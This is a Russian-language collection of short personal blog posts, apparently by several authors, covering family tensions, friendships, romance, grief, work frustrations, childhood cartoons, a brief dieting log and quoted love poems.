У родителей нет никакой собственной жизни, но их это не колышит. Им нужно отомстить мне за желание жить по-другому. Хотя у них-то, вроде, была нормальная молодость. Не золотая, но и в четырех стенах никто не запирал.

В общем, доехала я до магазина, затарилась едой, пришла на остановку первой, стояла, мерзла там, ждала. И.. та-даааам!.. через 5 минут добежала еще куча людей, втиснулась в автобус, расталкивая меня локтями, мне места не досталось, автобус уехал. Такие дела.

Это был последний автобус до дома. Но был еще один, окончательно последний - через 40 минут, до станции. Хотела пойти в магазин погреться, но поняла, что будет как в тот раз. Пошла на парковку этих автобусов - нужного там не оказалось. Стоял какой-то большой, но я подумала, что это для персонала.

Возвращаюсь на остановку. Там - один парень крайне не славянской внешности. (В этот вечер я поняла, что ухо востро нужно держать со своими земляками, а эти ребята, в основном, очень дружелюбные и милые). Замерзла окончательно, пошла снова на парковку. Большой автобус оказался тем самым, а водитель наругал меня за то, что в первый раз к нему не постучалась. В общем, пустил меня, показал самое теплое сиденье в автобусе)) я погрелась, он обещал, что если пассажиров не останется, довезет меня прямо до дома.

Так и было. Заехали мы на остановку за этим парнем, он такой "ага, сама греться ушла, а меня оставила?" (я не стала говорить, что мерзну на улице уже час), выбросили его на въезде в город, а я не стала наглеть окончательно, и попросила водителя довезти меня до ближайшего к моему дому перекрестка. Водитель не местный, и я боялась, что он потом не разберется, как выехать.

Я еще зашла в сбер по дороге, проверила карту: январская стипуха - не моя стипуха. Блин. Пошла домой, получила нагоняй от мамы, что трубку не брала (я, на секундочку, ей звонила и сказала, во сколько буду, а приехала даже раньше), потом я быстро распаковала всё, что купила, начала есть… Подумала, что надо бы раздеться, а то испачкаюсь, пошла ванную, вернулась - угадайте, кто сидел и уплетал всё, оставленное мной? Да, сидела, причитала, что я ничего нормально выбрать не могу, что всё это невкусно и она приготовила бы лучше, но уплетала за обе щеки.

Ладно, пофиг. Я поставила чайник. Она ушла с моим салатом в комнату, я пожевала ириски, выпила чай и легла.

Осознание всегда приходит неожиданно. Кто бы мог подумать, что все эти присказки о том, что мы окружаем себя своими копиями, окажутся правдой. И вот, ответ на все мои вопросы, - ещё не было человека, которому было бы интересно то же самое, что и мне. Не частично, а так, чтобы отправив любую ссылку, знать, что это не останется без внимания. Проанализировать оказалось совсем не тяжёлым занятием. Достаточно было прочитать мысли человека с явно израненной душой. Как же все оказалось просто: одна совпадает со мной во взглядах на любимое дело и неоклассическую музыку, другая - в морали, третья - в поисках чего-то нового. Эти три человека прошли со мной почти всю сознательную жизнь, а я только сейчас почувствовала, почему они со мной, почему они не надоели мне, как все мимо проходящие люди. Новый человек в моей жизни- отражение меня в отношении к науке, к целям. Но более ничего нас не связывает, а значит это наверняка мимолетно. А все дело в том, что столько раз обжегшись, уже тяжело говорить кому-то о своих переживаниях. Книги действительно понимают лучше.

Как же сильно хочется найти себе друга. Я так соскучилась по этому теплому чувству внутри. Мне не нужен миллион людей вокруг, лишь один человек, которому можно доверять, с которым можно проводить все свое время, и ощущать безграничное счастье.

любые отношения - это совместное развитие или совместная деградация. если один идет вперед, а другой стоит на месте - люди расходятся. это закон.

Мама начинает отрицательно относиться к тому, что я не ночую дома. Главные аргументы:

Мы его не знаем

Я волнуюсь, когда тебя нет

Ты можешь забросить универ

А вдруг ты реально переедешь

Переезжать мне нельзя, по ее мнению, потому что она считает меня безответственным ребенком, мол, я без подпинки даже посуду помыть не могу. Разницы между тем, что дома это все делает мама и я просто не хочу, а там это делать некому, и мне приходится, да и хочется на самом деле, она не видит. Говорит, ты должна жить с нами, пока не закончишь универ и вообще, у тебя одна каша в голове, ты ничего не можешь сама сделать, а тут тебе еще и за мужиком ухаживать. Основной аргумент против - ты уже жила у Даши и забросила учебу. Мам, я учебу забросила еще за полгода до этого, когда с вами жила. И сейчас она находится в таком же состоянии. Но мама этого как будто не слышит.

Во-первых, никто не собирается никуда переезжать. В ближайшие полгода. Во-вторых, откуда во мне возьмется ответственность, умения какие-то, когда все делают за меня, контролируют каждый мой шаг и чуть ли не дают инструкции постоянно, да поучают. Ничего плохого не вижу в поучениях, когда с ними не перебарщивают. Меня до сих пор считают ребенком, хотя я уже давно готова жить хотя бы одна.

Мне тяжело жить в родителями. Уже тяжело. Не знаю, 20 лет для меня - тот самый возраст, когда нужно переезжать. Потому что ты вроде как уже достаточно взрослый, но еще не начал привыкать к тому, что во взрослой жизни за тебя все делают и ты несамостоятельный. На самом деле, мама просто не хочет меня отпускать, она привыкла, что я всегда рядом, живу под боком и она может меня контролировать.

Вопрос к тем, кто уже живет не с родителями: как вы это преодолели? Просто уехали и все?

после дня рождения появилось сожаление о том, что мы не можем сохранить эмоции счастливых моментов, закупорить их в бутылку с крышкой, и, когда будет печально, открывать. потому что это ощущение эйфории, приходящее неожиданно и только в редкие моменты - бесценно. особенно учитывая тот факт, что мы мало чему удивляемся и по-настоящему радуемся.

Сладкие 40 минут и гребанные 3 остановки до нее. Я хочу быть с тобой. Я хочу каждый день тебя так обнимать, целовать, разговаривать с тобой. Два часа назад ты держал меня на руках и целовал, а сейчас ночуешь у нее. Что ж это такое то, где я могла так провиниться, что полюбила чужого парня?..

Красота – это довольно редкое качество. А обладать некой редкостью всегда приятно и почётно. В этом месте вы должны возмутиться и запеть песни про толпы красивых женщин на улицах Минска. Ну да, хорошие сказки для туристических буклетов, которые у нас всё ещё не написаны. Давайте посмотрим на вещи трезво: сколько красивых девушек было у вас в классе, в школе? А сколько в институтской группе? Одна-две? Это максимум, и это далеко не в каждой группе. Ещё несколько с большой натяжкой попадут под категорию «вполне симпатичные» – и то только потому, что как-то на вечеринке вы немного перебрали водки и в силу этого посмотрели на свою вполне обычную соседку «новым взглядом». Красивых мало. Понимая это, люди придумали теории, что красота относительна, «это вещь социальная, историческая» и много прочих – исключительно для того, чтобы большинство не чувствовало себя ущербно. На самом деле красота существует объективно. Это – гармония, пропорция, симметрия. «Золотое сечение» лица и тела, если можно так выразиться. Как бы ни менялись стандарты красоты в истории, пропорции между талией, грудью, бёдрами оставались. Человека с короткими ногами не назовут красивым ни в какой эпохе. То же самое с лицом. Давно замечено, что все победительницы конкурсов красоты – на одно лицо, несмотря на разные расы и нации. Это пропорция, чистая математика.

Так что посмотришь ещё раз на свою красавицу и думаешь – «один хрен мучиться, так уж лучше мучиться с красивой».

— она необычная, да, но не сумасшедшая, так что не говори так. она готовит, шьет, моет посуду, ванну - что тут сумасшедшего?

если он позвонит,
я непременно возьму,
и не важно, в 4 утра, или в час ночи.
если он позовет, то я непременно приду,
и совершенно неважно, чего он хочет.
и не суть, сколько не виделись, месяц, иль может год,
даже если он на меня обиделся, я приду если он позовет.

встану из уютной постели,
хоть завтра вставать с утра, и полно проблем,
даже если нет сил и времени,
не осталась ни общих тем,
и разговоры на кухне забыты давно.

я приду, если он позовет,
даже если сижу в кино с каким-то унылым мачо,
убирая ладонь с колен. я приду, когда он заплачет,
я -личный его супермен, жилетка, как угодно можно назвать.
я встану даже из гроба и лягу рядом с ним умирать.

Есть у меня одна большая проблема: я часто сужу о человеке по своему первому впечатлению. Что получаю в конце? Люди, которых я считаю «плохими», в итоге оказываются самыми лучшими, и наоборот, те, которые кажутся мне классными – так себе на самом деле. Я борюсь с этим. Постоянно пытаюсь с этим бороться.

У меня всегда было какое-то предвзятое отношение к людям, чьи имена я не хочу называть. Просто они казались мне очень глупыми, заносчивыми… Поработав с ними, отволонтерив несколько крупных мероприятий, я понимаю, что на самом деле это такие отличные ребята. Простые, добрые, отзывчивые и очень веселые. Нет никакой глупости, нет заносчивости. Откуда я все это взяла?

Есть там один парень, зовут его Дима. При первой встрече мы с ним вредничали, в особенности я. Характер у меня такой, козлинский, я порой очень остро реагирую на пустяки. В общем, не понравился он мне. Рядом сидящая Аня еще тогда говорила: «Зря ты с ним так, он очень умненький и хороший парень», я промямлила, что мол «Возможно, не знаю».

Теперь, когда прошел уже почти год, как я его знаю, в голове всплывают некоторые моменты:

Осень. Мы волонтерим на празднике, у меня в руках огромный пакет с одеждой, какие-то мелкие вещи, бокалы и подсвечник (ой, не спрашивайте), мне тяжело и я боюсь, что это все упадет. Тут мне навстречу идет Дима, увидев меня со всей этой грудой вещей, сразу же подбегает и со словами: «Давай помогу», забирает у меня самые тяжелые вещи и несет их со мной.

Сегодня.

Мы оба помогали в организации одного конкурса, так вышло, что наши «подопечные» соревновались между собой, и когда мой участник победил, он так радовался, искренне, не наиграно, ни грамма фальши я не почувствовала, только сжал мою руку и повторял, какая я молодец, и что он знал, что победа будет за мной.

Сегодня.

Я сажусь на пустое кресло, устало трогаю свои ноги (весь вечер на каблуках), снимаю туфли и прячу ноги под ножку стула. Тут подходит Дима и говорит:

«Мне так жалко твои ноги»,

с такой интонацией в голосе, что меня пробрало. Почему вот так выходит? Я ведь его обидела при нашей первой встрече, а он радуется за мои победы и беспокоится из-за того, что у меня потом ноги будут болеть.. А мне стыдно. За себя, которая вот так резко рубит сплеча из ничего. Где-то писали, что первое впечатление самое верное.. Вот уже столько лет я убеждаюсь в обратном. Глупо вот так судить, не узнав человека. Глупо…

плюс к ещё одному безмятежному дню. вот только Слюсаря не было. учеба её скоро доконает, всё потому, что теперь они и в субботу учатся -_-

чертовски люблю Хардис за мягкие бургеры. они напоминают мне Freshness burger в Токио. ага, всё связано хдд

за сегодня мы вспомнил все-все-все мультфильмы, которые крутили на Фокс Кидс, Джетикс и Картун Нетворк :DDDDD

Тотали Спайс (у которого новый сезон выходит в 2016!), Витч (который я сейчас буду пересматривать), Кураж - трусливый пёс (ну очень стрёмная от него атмосфера), Вунш Пунш, Детки из класса 402 (это всё оттого, что я прошел тест "кто вы из деток из класса 402" и мне выдало - Полли! сука, Полли! та долбанутая, со страстью к ложкам, и литовским печеньем! аааааа), Жизнь с Луи, Галактик футбол (когда года два назад пересматривал, шиппирел себя с Тией: 'DD эта та, что беловолосая, и Ахито, крутой чувак вратарь, постоянно засыпавший хдд) Семейка Тофу, Соник Икс, Обан: звёздные гонки, Что с Энди? (папайя - ручка дверная :DDD), Секретные материалы псов шпионов, Тутенштейн, Уолтер Мелон (герой по найму!), Принцесса Сисси (у нас с Альбиной был с ней пенал хдд), Лаборатория Декстера (ДиДи!!), Суперкрошки, Эд, Эдд (хДД) и Эдди, Ужасные приключения Билли и Мэнди (Смерть там был шикарный), Фостер: дом для друзей из мира фантазий (это вообще любимое! Эдуардо, Коко! И Блуу!), Бэн 10 и ещё Черный Оракул!

тогда мультфильмы действительно были интересными. я даже Свинку Пеппу люблю. и ещё мультфильм про принцессу фею, и её друга эльфа, с их божьей коровкой Гастоном) просто мне не вкатывает та штука, которую крутят по никелодеону. Хлебоутки. -.

уехать на месяц - довольно жестоко.
звонить раз в неделю - почти преступление.
" ну, как ты?" - "нормально. чуть-чуть одиноко" -
" ну, ладно, пока. позвоню в воскресенье".

повесили трубки - и снова неделя.
друзья, тренировки, работа, работа.
а, знаешь, в тот миг, когда ты улетела,
хотелось бежать за твоим самолетом.

Современный человек переполнен информацией и контактами. Главное во всем этом — не потерять контакт с самим собой.

Финн Скердеруд

Вот и закончились мои коротенькие каникулы. Да, быстро. Да, незаметно. Но сегодня я спокойно собирала сумку. Я не желаю отчаянно чтобы что-то случилось и на меня обрушилась еще неделя. Или жалею о чем-то. А всегда было больно. Вот и к этому я привыкла. Помню, в книге Филлипа Пулмана "Темные начала", давным-давно, еще в 4 классе я прочла что-то вроде "сердце молодое - эластичное". Это такая правда.

Всем удачи ♥ Не знаю, когда снова появлюсь

каждый, просто каждый человек, которого я видела на похоронах и после, когда говорила про папу, говорил мне: "ну, ты теперь держи маму, поддерживай, блабла".

а кто будет держать меня, ребят? na ja, я ж забыла, что я сильная и пиздец какая независимая, сама справлюсь.

Когда я перестану тебя ждать,
Любить, надеяться и верить,
То я закрою плотно окна, двери
И просто лягу умирать.

Марина Цветаева

я солидарна с тем, что умение дружить не зависит от пола, и прибаутки о том, что женской дружбы не бывает, вырисовывают на моем лице исключительно ехидную улыбку. но, надо признаться, что девочки - это зло. это зависть, это ехидство, это сплетни, это соперничество (!в большинстве случаев непонятно за что и за кого!). поэтому я счастливица, нашедшая в террариуме ту, которая явно выпадает из ряда пресмыкающихся. единственная дама (кроме мамы, разумеется), вселяющая уверенность в том, что все, мною сказанной, не пересечет пределы ее головы.

Каждый раз, вспоминая что-то, что хотелось бы рассказать или, пытаясь высказаться, я хочу написать сюда, но всё время меня что-то останавливает, какие-то неведомые мне силы. Может оно и к лучшему?! Из последнего, поняла, что так много значения придавала действиям различных людей, так сильно переживала их проделки. А в конечном итоге, спустя пару месяцев - пару лет это оказалось таким незначительным. Оглядываясь на себя прошлую, вспоминая свои мысли, я понимаю, какой я была глупой. Уже нигде не ёкает, не переворачивается всё внутри, если в голове пробежала мысль о каком-то человеке. Я выросла. Я больше не боюсь встретить какого-то знакомого на улице, опасаясь, что это вызовет во мне бурю эмоций. Правда иногда не хватает тех ощущений, но зато теперь есть какая-то стабильность. А вообще, говорят, что каким бы не был опыт - плохим или хорошим, главное, что он есть и нужно сказать спасибо тем людям, которые тебе его дали. А не быть букой-бякой, обиженной на весь мир. Поэтому стараемся радоваться происходящему и пытаемся получить свои знания и опыт.

Изображение - savepic.net — сервис хранения изображений

Изображение - savepic.net — сервис хранения изображений

Изображение - savepic.net — сервис хранения изображений

Я читала, что Эмма Робертс отказалась от роли Харли Квин ради роли в сериале "Королевы крика". Понимаете, да? Ради. Роли. В сериале. Причем совсем не уровня "Игры престолов" например, или "Карточного домика". И в итоге мы получили потрясающую Марго ♥

Изображение - savepic.net — сервис хранения изображений

Изображение - savepic.net — сервис хранения изображений

Изображение - savepic.net — сервис хранения изображений

— Какой совет вы бы дали сценаристам?

— Пожалуйста, хватить описывать женских персонажей как "сломленная, но красивая". Пожалуйста.

Как я лайкаю посты на вью.

1. Хм, в этом посте что-то есть. Я вижу здесь себя, свои интересы или открываю что-то новое. Отличный пост. *Лайк*

2. Хм, в этом посте нет ни капли меня… Сырный Иисус, это мой любимый блог? Как дела, приятель? Как жизнь? Можно я скажу спасибо, что появляешься в ленте? И признаюсь в любви этим маленьким сердечком? *Лайк*

мам, пап, знакомьтесь, это мой переход в новое энергетическое состояние, и теперь он будет жить с нами, но за пределами вашего восприятия.

«Обстоятельства наилучшим образом складываются для того, кто наилучшим образом реагирует на обстоятельства».

Арт Линклеттер

image - weheartit

Кто смотрел фильм "бесконечно белый медведь"?) это история о мужчине с маниакально-депрессивным синдром, воспитывающим двух дочерей. Три дня назад его посмотрела, а до сих пор вспоминаю;если кто хочет посмотреть что то душевное, то я рекомендую)

Когда-нибудь я стану чей-то мамой
И даже стану я женой.
Я буду для него той самой,
А он моей лишь каменной стеной…

Когда-нибудь я буду ездить в школу
И забирать маленьких детей.
Ходить на матчи чаще по футболу
И воспитать достойных сыновей.

Когда-нибудь я буду не красивой
А мой любимый будет не спортсмен.
Я все равно буду его милой
И не боюсь этих я перемен.

Когда-нибудь и бабушкой я буду,
А рядом будет старенький мой дед
Зато я жизнь такую не забуду
Спустя года и десятки лет.

когда мне рассказала историю девушка, которая зашла с парнем в ювелирный за шармом в подарок маме, а им с порога с энтузиазмом крикнули "обручалочку?"

я сразу вспомнила о Д., что когда мы были с ним в Египте, он постоянно играл с ребёнком из соседнего номера, с которым мы летели в самолёте. а его мама, стоя и наблюдая за этим, сказала, что "нам уже тоже пора ребёночка".

а мы просто попутчики. и даже не встречаемся. какие ещё дети?

я не знаю, к чему я всё это. может, про то, как я "люблю" общественное мнение и привычку окружения что-то за тебя решать, додумывать и делать выводы. или вдогонку к тому, как все спрашивают маму "когда я уже замуж то" или серьёзные отношения там хотя б.

нет, не к этому. просто минутное скучание по нему и тому времени.

В обычный рабочий день, в обычный урок литературы вдруг понимаешь всю бесполезность своей работы…Все делают вид, что слушают, смотрят на тебя уставшими глазами и думают о чем-то своем. Они совершенно не думают о том, что я могу читать их мысли в данный момент: я вижу тех кто влюблен, как они улыбаются, когда получают смс от любимого (ой), как делают недовольную гриммасу в ответ на замечание "убрать телефон", вижу как они смотрят в окно и думают о том, что будут делать после уроков - играть, гулять, веселиться. Они делают все, чтобы не учиться, сделать что-то быстро, легко и чтобы оценили хорошо, иначе их душенька не будет довольна - "я ж писал!".

Я все это замечаю, но продолжаю объяснять, почему же нужно читать "Евгения Онегина", "Героя нашего времени"…и пытаюсь вспомнить, почему же я выбрала профессию учителя… Зачем?

Что бы получить то, что я хочу, надо этому соответствовать. Что бы соответствовать, надо это самое сначала получить. Несвязно, но понятно, что замкнутый круг. ВПИЗДУ.

Ахх, девчонки..) эти 2 дня просто были обалденными.. Всё началось с того, что я нашла это приложение "чат вдвоем"заходила туда просто пообщаться, без всякой цели. Тут ничего не предвещало.. Я нашла этого человека, мы обменялись ссылками.И каждый день общались в вк.Я не знаю как, но он мне очень понравился и я в него влюбилась по переписке, за душу..и внешне он такой ничего.. спустя 2 месяца он собрался ко мне приехать..аааа это напряжение.. когда ждешь, боишься разочароваться.. и тут он такой выходит из угла, и ты идешь к нему закрыв лицо руками от смущения и обнимаешь его.. ахх, как я долго этого ждала..тут я поняла, как люблю обниматься..в свои 17 лет, это мой первый парень..и да, с ним произошел первый настоящий поцелуй, была страсть..впервые я услышала свое прерывистое дыхание.. это очень классно, эти эмоции я испытывала впервые.Надо записать 05.02.2016 как памятное число, именно в этот день произошел поцелуй…Девчонки, не надо искать свое счастье, оно к вам само неожиданно придет. Всем счастья и добра… ~♥~

С утра был отвес 100 грамм. Учитывая вчерашний зажор, это очень клёво. Вчера с вечера купила себе диетическую горькую шоколадку и сточила её полностью сегодня утром: ~))) )) Днём очень хотелось есть+мама дома, пришлось в обед съесть пару мандаринов, на ужин ужасный пересоленый борщ без мяса, часов в 8 рис с овощами. Завтра в первый раз пойду в тренажёрный зал. Сегодня, когда ходила только покупать абонемент, оттуда выходили такие худые и клевые девушки. Страшно: (

Все самовары в крови
Весь холодильник в аду
Ты меня не зови
Я застрял во рту
Дохлой акулы
Открой пасть, открой

Все пароходы ушли
Топки сгорели в огне
Все паровозы в пыли
Я живу в животе
Дохлой акулы
Открой пасть, открой

Никогда не думала, что скажу это, но мне сейчас как никогда нужна учеба. Мне срочно надо убить время, которое я трачу на бесконечные загоны и анализирование непонятно чего, делом.

Позавчерашней ночью и вчерашним днем я жила с мыслью, что все ушло. Человек был мне равнодушен. И вроде должно было полегчать, но как-то нихрена легче не становилось.

И вот сегодня, как только я на долю секунды отвлеклась, человек мне снится.

Ну зачем?

в преддверии февраля думаешь: "господи, мучиться ещё 28, на этот раз вообще 29 проклятых дней" и неважно, что реальная весна приходит позже календарной, ведь когда наступит март, всё сразу станет намного лучше. мне достаточно и какой-то условности, чтобы почувствовать себя в разы комфортнее и осознать, что совсем скоро всё выберется из-под снега и мрака, что можно будет избавиться от свитеров и ненавистных перчаток, что белый свет можно будет видеть не только через окно на работе. когда идёшь туда к семи, а где-то вдалеке уже виднеются первые намёки на рассвет, это очень греет душу.

а этот февраль ещё и приготовил сюрприз, так что вот уже почти неделю держатся уверенные +2/+3, а это дневной минимум, обещанный на весь месяц. и это прекрасно. в этом году весну можно почувствовать не только считая дни на календаре. пожалуйста, пусть всё так и остаётся. двух месяцев зимы вполне достаточно, чтобы насладиться снегом и чтобы это всё не осточертело.

всегда кажется, что весной всё изменится к лучшему, пусть не в жизни, но хотя бы в голове. и чаще всего это работает.

Мне чего-то не хватает. Я не знаю, чего именно, иначе бы либо восполнила недостаток… либо в половину это бы чувство не так меня мучало, ведь я бы знала, чего не хватает.

Это очень странно.. Помню, чувство полной гармонии настигло меня всего лишь один раз в жизни. А теперь вот это. Также - впервые.

Уж если ты разлюбишь - так теперь, Теперь, когда весь мир со мной в раздоре. Будь самой горькой из моих потерь, Но только не последней каплей горя! И если скорбь дано мне превозмочь, Не наноси удара из засады. Пусть бурная не разрешится ночь Дождливым утром - утром без отрады. Оставь меня, но не в последний миг, Когда от мелких бед я ослабею. Оставь сейчас, чтоб сразу я постиг, Что это горе всех невзгод больнее, Что нет невзгод, а есть одна беда - Твоей любви лишиться навсегда.

Итак, я стояла ночью на Ленинградском шоссе. И стояла совсем не с той целью. Просто за десять минут до этого меня высадили из машины мои случайные знакомые… Нет, опять не то. Давайте по-порядку. Я летела с одной милой женщиной и ее братом из Варшавы в Москву. Мы в самолете познакомились. А когда приземлились, они меня спросили: «Тебя кто-то встречает?». Я вспомнила наставления мужа: «Когда прилетишь – бери такси, не торгуйся» и покачала головой: «Нет, никто». Тогда эти добродушные люди посадили меня в свой автомобиль, но предупредили, что скоро им придет пора сворачивать на кольцевую, а мне нужно двигаться по Ленинградке дальше. Я как-то не обратила внимания на такие мелочи. С той самой минуты как прошла паспортный контроль в Шереметьево и убедилась, что муж действительно не шутил насчет такси, я сильно опечалилась и размышлять могла только об одном: «Почему он меня не встретил? Почему?» Однако мои новые знакомые довольно быстро остановились и сказали, что дальше нам не по пути. Я очень сердечно с ними простилась. Вытащила из багажника все свои сумки с козьим сыром «осципек» из горного селения Закопане. Закинула на спину рюкзак с деревянными ангелочками из Кракова. Прихватила пакеты с сувенирами из Велички. И застыла на обочине со всем этим великолепием. По шоссе на ужасной скорости проносились автомобили. Шел снег. Я коченела в своей кофточке. Через минуту мне удалось высвободить из пакетов правую руку и поднять ее параллельно земной поверхности. Через десять минут я поняла, что машину тут не поймать. Через пятнадцать минут я надела на себя все, что у меня было: бейсболку «60 лет освобождения Варшавы от фашистов» и ковер ручной работы из овечьей шерсти и козьего пуха. Понятное дело, что теперь и вовсе никто не собирался останавливать машину на полном ходу и усаживать в нее такую сдвинутую дамочку. И я зашагала вдоль дороги. В конце концов я набрела на какую-то остановку, села на полночный автобус, потом прокатилась на троллейбусе, а затем меня все же подобрал автомобиль, и довольно быстро, всего за каких-то три часа мне удалось добраться домой. В прихожей я рухнула со своими сырами на пол. Муж сидел за компьютером - спасал Вселенную, поэтому подойти сразу не мог, хотя на шум отреагировал: «Ну что, зайка, приехала?» А я лежала на полу, раскинув руки и не торопилась вставать. «Какого черта, - думала я. – Какого черта я делаю с этим человеком?» Я знала все, что он мне сейчас скажет. Что надо было брать такси, а не искать приключений на свою голову. Что глупо встречать человека ночью в аэропорту, если у тебя нет личного автомобиля. Что я просто ищу повод, чтобы поссориться. Я знала все его разумные и логичные доводы, на которые практически нечего возразить. Но сердцем понимала – что-то тут не сходится. Только через несколько месяцев я смогла четко сформулировать проблему. По МТВ как раз показывали реалити-шоу из жизни семейки Осборнов. Мама загоняла детей в машину, чтобы ехать в аэропорт – встречать папу. Дети капризничали, отбрыкивались, ворчали: «Почему его обязательно надо встречать?» и тут же, передразнивая маму, повторяли вслед за ней смешными голосами: «Потому что мы его люби-и-и-ииим!» Затем успокаивались, садились в машину и ехали куда надо. Тогда-то я все поняла. Мы встречаем близких не потому, что у них тяжелые сумки. И не потому, что лягушек-путешественниц типа меня надо постоянно контролировать, дабы не вляпывались в истории. Мы встречаем близких, потому что любим их. Не правда ли, отличный слоган для старой доброй жвачки «Love is…». «Любовь – это встречать в аэропорту». Мы хотим обрадовать любимых. Поддержать. Обнять. Сказать: «Как хорошо, что ты вернулся». Я ведь создавала семью не для того, чтобы мне говорили: «Возьми такси», «Не трогай меня», «Не мешай», «Разберись как-нибудь сама, это же просто». Я создавала семью для того, чтобы кто-то стоял в зале прилета и искал меня глазами в толпе… Да, если подойти к делу трезво и расчетливо – все эти встречи-провожания почти всегда неудобны, нелогичны и вроде бы не нужны. Можно не ездить в аэропорт – пробки ведь мешают или там игра компьютерная. Можно не ходить в больницу лично, а прислать курьера с апельсинами. Можно не отмечать годовщины – все равно это дурацкий праздник, на который даже не стоит тратиться. Можно не играть с ребенком, а сунуть ему денег: «Иди, купи себе мороженое и отстань от меня». Можно вообще не совершать никаких лишних телодвижений. И тупо надеяться, что к тебе, такому равнодушному, будут неравнодушны. Но так не бывает. Хорошие отношения требуют каких-то усилий. «Само собой» бывает только плохо. Оззи Осборн достаточно богат для того, чтобы позволить себе автомобиль с личным шофером. Но, возвращаясь домой, он первым делом хочет видеть не шофера, а родных людей. Я не Оззи, но я тоже хочу того же самого. Все этого хотят. Но не все готовы это делать. А может те, кому лень встречать, выслушивать, утешать и радовать своих близких, просто давным-давно их разлюбили? Или вообще никогда не знали этого чувства. (c)

Нет, Только не это. Остаться друзьями? Развести огородик на остывшей лаве угасших чувств? Нет, это не для нас с тобой. Так бывает только после маленьких интрижек, да и то получается довольно фальшиво. Любовь не пятнают дружбой. Конец есть конец.

То чувство, когда ты уезжаешь от родителей, и мама предлагает все, что есть в квартире. От подушек до сыра. Обожаю мамулю:З

Не получив то, что хочешь, ты страдаешь… Получив - все равно страдаешь, потому что не можешь удержать это вечно.

Иногда один телефонный звонок меняет всю ситуацию.

Впрочем, и не раздавшийся телефонный звонок тоже меняет многое.

Вчера встретила маму Солнца в магазине. Как же она всегда радуется мне. Так тепло на душе становится после встреч с ней. Удивительная женщина, которая воспитала такого же удивительного сына. Такой же добрый, искренний и вежливый. Приглашала на чай, но я не пошла, ибо была с подругами, да и не думаю, что Солнце оценил бы такие выходки мамы. Я помню, как она радовалась глядя на нас. Помню, как ехала с нами на водопад и постоянно улыбалась мне с переднего сидения. Помню, как в 2 часа ночи мы пили с ней на кухне чай, пока Солнце пытался что-то себе приготовить на ночь. Помню, как первый раз полчаса стояла под их квартирой, потому что боялась заходить и знакомиться с ней. Помню, как она приносила Солнцу и моему папе покушать, так как они сидели в гараже сутками. После встреч с ней, где-то в глубине души, я всё ещё продолжаю быть частью его мира, частью его семьи. Как ты, Солнце? Улыбаешься ли ты так же, как и я? Не стала передавать приветы через маму. Но я надеюсь, ты и сам поймёшь, что мысленно я посылаю тебе приветы каждый божий день.

Одела джегинсы, пуловер, зимние кедо-ботинки, куртку и рюкзак Adidas, в руках ноут. Иду на остановку, звонит Китти:

—Зайчик, ну ты скоро? Я тут убираюсь пока.

—Ого, что за праздник, - сиронизировала я, совсем не прелполагая, что….

—Бабушка Зоя скоро приедет.

—ЧТО?, - а я думала, что наше знакомство состоится ближе к лету.

Бабушка Зоя- мама отчима. С теми родственниками я незнакома, не считая того момента, что сёстры отчима иногда мне лайкают фотки на фс и одна из них писала под Миланиной фото коммент- их семья обожает нашего ангелочка.) Ну а милый не видел бабшку Зою около 9 месяцев.-Я бегу переодеваться!, - дала заднюю и вот я уже в кэжуал платьице (чтобы ненавязчиво), полусапожкаж, пальтишке с сумкой. Вся такая "девочка-девочка".

Я очень героически, на мой взгляд, пережила аж два месяца зимы, почти ни разу не впав в транс из-за того, что холоднокончисьужебыстрееблядскаязима и хочумногосветаибезшапкиходить, во все предыдущие годы меня начинало колбасить уже к новому году, не считая особенно грустной осени, когда уже начинает подташнивать от ожидания несколькомесячного ада пятислойной одежды, зябнущих конечностей, ебанистических счетов, невозможности застать световой день вне своего рабочего кабинета/института и так далее.

спасибо морю, думаю, без него было бы хуже во сто крат.

(а мы всё ещё не расплатились за долги, прикиньте, вот и езжай после этого в отпуска, будучи нищебродом)

(#живёмодинраз и всё такое)

В общем, я к чему - началось. Меня неожиданно облизал дементор, и краски стёрлись.

(удивительно, но дело даже не в зиме)

Что-что там говорили про 2016? Високосный год - дерьмо? А, и ещё что это мой год, и он должен быть счастливым?

Ну давайте посмотрим.

Прошло тридцать семь дней от нового года. У меня ну почти полностью расхерачен компьютер. Знаете, чем сейчас остужается видеокарта вместо родного кулера? usb-вентилятором из фикспрайса, прилёпленного прищепками к бортику (стенки у системника отныне нет). Снова сломался кран в ванной и теперь из него брызжет во все стороны фонтаном. Порвались сапоги, мне пришлось менять обе молнии, это встало почти в косарь, но твою мать, теперь я ещё обнаружила, что они не просто протекают, они делают нахрен лужу внутри, стоит сделать хотя бы один шажочек на мокром снегу. мои носки можно выжимать по приходу на работу и обратно.

Меня записали на обучение в этом году на должность, которую я занимать не хочу, ибо это пиздец, трудно, ответственно (вплоть до уголовной), хреновооплачиваемо (чуть больше, чем сейчас), но "статус будет выше и деваться тебе всё равно некуда". это не самореализация. это принудиловка, которая случается рано или поздно со всеми, и некоторые даже увольняются, чтобы не получать этот "статус выше". но врать не буду, я считаю, что как только угомонится кризис и управление приведет само себя в порядок, должность действительно станет крутой и, возможно, нормально оплачиваемой, хотя останется трудной. но я не доживу.

и под занавес - нам урезали зарплату. теперь я получаю меньше уборщицы на заводе (как выяснилось).

а ещё разбилась моя кружка с дартом вейдером, и пришлось забрать кружку Тима, но две лучше, чем одна.

по китайскому гороскопу год ещё не начался, но что толку?

очень неплохо лежится на спине под iday – your eyes и думается. но еще лучше выбрасываются из головы все мысли. и я стараюсь сохранять как можно дольше тишину внутри себя. потом невольно вдруг возникает:" что это? тишина? у меня получается?"

пару часов назад я написала огромный пост о том, как научилась плакать с "покерным лицом", чтобы не вымывало из глаз линзы и не пугать окружающих, потому что плачу я сейчас часто.
пост о том, что я не смогу выносить ребенка по массе причин; не выдержу всех мерзких процедур и фгс раз в год, которые мне, увы, не помогут; не смогу больше пытаться слепить из своей жизни что-то стоящее; не хочу строить планы "как у всех", потому что у меня какого-то чёрта никогда не получалось "как у всех". и о том, как я хочу, чтобы она перестала так сильно меня беречь, потому что у меня иное отношение ко всему. и нет сил строить иллюзии о себе, для себя. нет сил продумывать каждый, каждый свой шаг, чтобы она поверила, будто я стала взрослее и что я справлюсь.

но потом я выключила все мелодии, наполняющие мой дом. посидела минут пять, прочитывая текст, и да, в моем блоге ему не место.

многое.

происходит многое.

